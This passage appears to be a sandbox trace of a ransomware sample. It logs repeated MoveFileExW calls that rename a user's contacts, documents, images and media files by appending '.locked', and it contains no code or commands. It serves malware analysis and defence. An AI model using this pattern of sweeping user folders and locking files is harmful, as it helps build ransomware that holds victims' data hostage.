(lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zaH_pfjcPcDfV-W7u3pH.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zah_pfjcpcdfv-w7u3ph.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zaH_pfjcPcDfV-W7u3pH.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zah_pfjcpcdfv-w7u3ph.wav.locked"), dwFlags=0x2) returned 1 [0165.947] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.locked"), dwFlags=0x2) returned 1 [0166.014] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.locked"), dwFlags=0x2) returned 1 [0166.018] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.locked"), dwFlags=0x2) returned 1 [0166.022] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.locked"), dwFlags=0x2) returned 1 [0166.026] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.locked"), dwFlags=0x2) returned 1 [0166.029] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.locked"), dwFlags=0x2) returned 1 [0166.055] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\13Ifw_wwm eMPUz.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\13ifw_wwm empuz.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\13Ifw_wwm eMPUz.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\13ifw_wwm empuz.odt.locked"), dwFlags=0x2) returned 1 [0166.089] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1Y9FQ8 YIEHIg7mFp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1y9fq8 yiehig7mfp.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1Y9FQ8 YIEHIg7mFp.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1y9fq8 yiehig7mfp.mp3.locked"), dwFlags=0x2) returned 1 [0166.181] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2oqMhTWXMPfUMn.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2oqmhtwxmpfumn.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2oqMhTWXMPfUMn.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2oqmhtwxmpfumn.mkv.locked"), dwFlags=0x2) returned 1 [0166.231] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aHplLdy.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ahplldy.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aHplLdy.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ahplldy.swf.locked"), dwFlags=0x2) returned 1 [0166.235] GetFileType (hFile=0xc8) returned 0x1 [0166.291] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYajdYBgGcPBPyq\\QLVa6Ws-b7YWl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayajdybggcpbpyq\\qlva6ws-b7ywl.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aYajdYBgGcPBPyq\\QLVa6Ws-b7YWl.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ayajdybggcpbpyq\\qlva6ws-b7ywl.png.locked"), dwFlags=0x2) returned 1 [0166.345] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CZGqRql2Ft1w94iEF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czgqrql2ft1w94ief.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CZGqRql2Ft1w94iEF.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czgqrql2ft1w94ief.gif.locked"), dwFlags=0x2) returned 1 [0166.423] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enKnaW_gHjBf.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enknaw_ghjbf.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enKnaW_gHjBf.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enknaw_ghjbf.doc.locked"), dwFlags=0x2) returned 1 [0166.467] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fCfw2sp3cCx11F.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fcfw2sp3ccx11f.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fCfw2sp3cCx11F.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fcfw2sp3ccx11f.xls.locked"), dwFlags=0x2) returned 1 [0166.476] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G4qkKSr7vhZx Y.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g4qkksr7vhzx y.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G4qkKSr7vhZx Y.rtf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g4qkksr7vhzx y.rtf.locked"), dwFlags=0x2) returned 1 [0166.571] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HApJsM0xJgVH.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hapjsm0xjgvh.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HApJsM0xJgVH.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hapjsm0xjgvh.bmp.locked"), dwFlags=0x2) returned 1 [0166.709] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LEMr5f7TUTgPCxrr.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lemr5f7tutgpcxrr.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LEMr5f7TUTgPCxrr.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lemr5f7tutgpcxrr.jpg.locked"), dwFlags=0x2) returned 1 [0166.798] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lm35vSIwz7yCQ8h_z-Hh.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lm35vsiwz7ycq8h_z-hh.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lm35vSIwz7yCQ8h_z-Hh.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lm35vsiwz7ycq8h_z-hh.bmp.locked"), dwFlags=0x2) returned 1 [0166.832] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O_K6.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o_k6.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O_K6.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o_k6.mkv.locked"), dwFlags=0x2) returned 1 [0167.069] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\CGPGW3a_BKNA8.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\cgpgw3a_bkna8.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\CGPGW3a_BKNA8.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\cgpgw3a_bkna8.mp4.locked"), dwFlags=0x2) returned 1 [0167.106] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fvcc9_j.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvcc9_j.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fvcc9_j.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvcc9_j.ots.locked"), dwFlags=0x2) returned 1 [0167.147] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\A2lJjqLfekESxJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\a2ljjqlfekesxj.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\A2lJjqLfekESxJ.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\a2ljjqlfekesxj.m4a.locked"), dwFlags=0x2) returned 1 [0167.157] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\forgHLG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\forghlg.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\forgHLG.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\forghlg.flv.locked"), dwFlags=0x2) returned 1 [0167.236] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\oPCNYLWm_e.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\opcnylwm_e.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\oPCNYLWm_e.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\opcnylwm_e.bmp.locked"), dwFlags=0x2) returned 1 [0167.317] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\xdkum.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\xdkum.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\fVMtXbHJEeeK\\xdkum.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\fvmtxbhjeeek\\xdkum.avi.locked"), dwFlags=0x2) returned 1 [0167.364] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\jWxQqm8nz\\o-snpw_vca2khaQkmx9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\jwxqqm8nz\\o-snpw_vca2khaqkmx9.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\jWxQqm8nz\\o-snpw_vca2khaQkmx9.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\jwxqqm8nz\\o-snpw_vca2khaqkmx9.m4a.locked"), dwFlags=0x2) returned 1 [0167.458] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\jWxQqm8nz\\sKex8TUm-ZG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\jwxqqm8nz\\skex8tum-zg.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\jWxQqm8nz\\sKex8TUm-ZG.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\jwxqqm8nz\\skex8tum-zg.m4a.locked"), dwFlags=0x2) returned 1 [0167.483] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\kGpOiAkuc8j_ Ey4D1Z.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\kgpoiakuc8j_ ey4d1z.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\kGpOiAkuc8j_ Ey4D1Z.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\kgpoiakuc8j_ ey4d1z.xlsx.locked"), dwFlags=0x2) returned 1 [0167.601] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\PYRkn10.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\pyrkn10.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\PYRkn10.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\pyrkn10.xls.locked"), dwFlags=0x2) returned 1 [0167.628] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\qU3-Zo30XOH572fV0.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\qu3-zo30xoh572fv0.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\POE5CNa\\qU3-Zo30XOH572fV0.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\poe5cna\\qu3-zo30xoh572fv0.bmp.locked"), dwFlags=0x2) returned 1 [0167.680] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tglKvHMHZ_pb8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tglkvhmhz_pb8.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tglKvHMHZ_pb8.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tglkvhmhz_pb8.mp3.locked"), dwFlags=0x2) returned 1 [0167.859] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TrtSE2jrBaSN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trtse2jrbasn.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TrtSE2jrBaSN.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\trtse2jrbasn.bmp.locked"), dwFlags=0x2) returned 1 [0167.895] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\Llul0WMuNqM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\llul0wmunqm.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\Llul0WMuNqM.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\llul0wmunqm.xlsx.locked"), dwFlags=0x2) returned 1 [0167.952] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\lw4rWLFiDtjv7.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\lw4rwlfidtjv7.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\lw4rWLFiDtjv7.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\lw4rwlfidtjv7.flv.locked"), dwFlags=0x2) returned 1 [0167.983] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\PuZvVn3mxd3UECksMub0.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\puzvvn3mxd3uecksmub0.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wddGn EnECfHS\\PuZvVn3mxd3UECksMub0.ods.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wddgn enecfhs\\puzvvn3mxd3uecksmub0.ods.locked"), dwFlags=0x2) returned 1 [0168.030] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOuq4.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wouq4.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOuq4.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wouq4.gif.locked"), dwFlags=0x2) returned 1 [0168.041] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJCt8QRRih8.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yjct8qrrih8.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJCt8QRRih8.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yjct8qrrih8.mkv.locked"), dwFlags=0x2) returned 1 [0168.050] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yo1VOihgk20XUHoul6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yo1voihgk20xuhoul6.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yo1VOihgk20XUHoul6.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yo1voihgk20xuhoul6.bmp.locked"), dwFlags=0x2) returned 1 [0168.228] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Tj0NQeOCL.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_tj0nqeocl.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Tj0NQeOCL.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_tj0nqeocl.ppt.locked"), dwFlags=0x2) returned 1 [0168.283] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0mqL_Mdycebt LCci.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0mql_mdycebt lcci.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0mqL_Mdycebt LCci.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0mql_mdycebt lcci.docx.locked"), dwFlags=0x2) returned 1 [0168.318] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1qsPSSG_m0fE2jp.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1qspssg_m0fe2jp.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1qsPSSG_m0fE2jp.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1qspssg_m0fe2jp.pptx.locked"), dwFlags=0x2) returned 1 [0168.393] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\34CC.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\34cc.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\34CC.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\34cc.pptx.locked"), dwFlags=0x2) returned 1 [0168.410] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\ApRV2VvnywrQWOTW9g.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\aprv2vvnywrqwotw9g.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\ApRV2VvnywrQWOTW9g.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\aprv2vvnywrqwotw9g.ots.locked"), dwFlags=0x2) returned 1 [0168.418] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\H6Wd9YSi5Ya3.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\h6wd9ysi5ya3.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\H6Wd9YSi5Ya3.csv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\h6wd9ysi5ya3.csv.locked"), dwFlags=0x2) returned 1 [0168.484] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\L8XLeuQ21soY\\9bDDgxtpbzGb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\l8xleuq21soy\\9bddgxtpbzgb.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\L8XLeuQ21soY\\9bDDgxtpbzGb.xlsx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\l8xleuq21soy\\9bddgxtpbzgb.xlsx.locked"), dwFlags=0x2) returned 1 [0168.574] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\L8XLeuQ21soY\\tdKx7Ev1.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\l8xleuq21soy\\tdkx7ev1.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\L8XLeuQ21soY\\tdKx7Ev1.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\l8xleuq21soy\\tdkx7ev1.xls.locked"), dwFlags=0x2) returned 1 [0168.613] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\NrwmZUwiqgaLUICbqe.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\nrwmzuwiqgaluicbqe.odp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\NrwmZUwiqgaLUICbqe.odp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\nrwmzuwiqgaluicbqe.odp.locked"), dwFlags=0x2) returned 1 [0168.701] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\U90auyR4UxJ-W.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\u90auyr4uxj-w.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\U90auyR4UxJ-W.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\u90auyr4uxj-w.ots.locked"), dwFlags=0x2) returned 1 [0168.745] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\vNkOmRzT.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\vnkomrzt.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\vNkOmRzT.rtf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\vnkomrzt.rtf.locked"), dwFlags=0x2) returned 1 [0168.771] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\wovxw3U-jwyXWyWsEO1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\wovxw3u-jwyxwywseo1.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\86joXqQ-6zt72\\wovxw3U-jwyXWyWsEO1.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\86joxqq-6zt72\\wovxw3u-jwyxwywseo1.doc.locked"), dwFlags=0x2) returned 1 [0169.044] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\SUY7MbVPHOde.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\suy7mbvphode.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8WtNfwAq- Pu A\\SUY7MbVPHOde.ods.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8wtnfwaq- pu a\\suy7mbvphode.ods.locked"), dwFlags=0x2) returned 1 [0169.072] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS 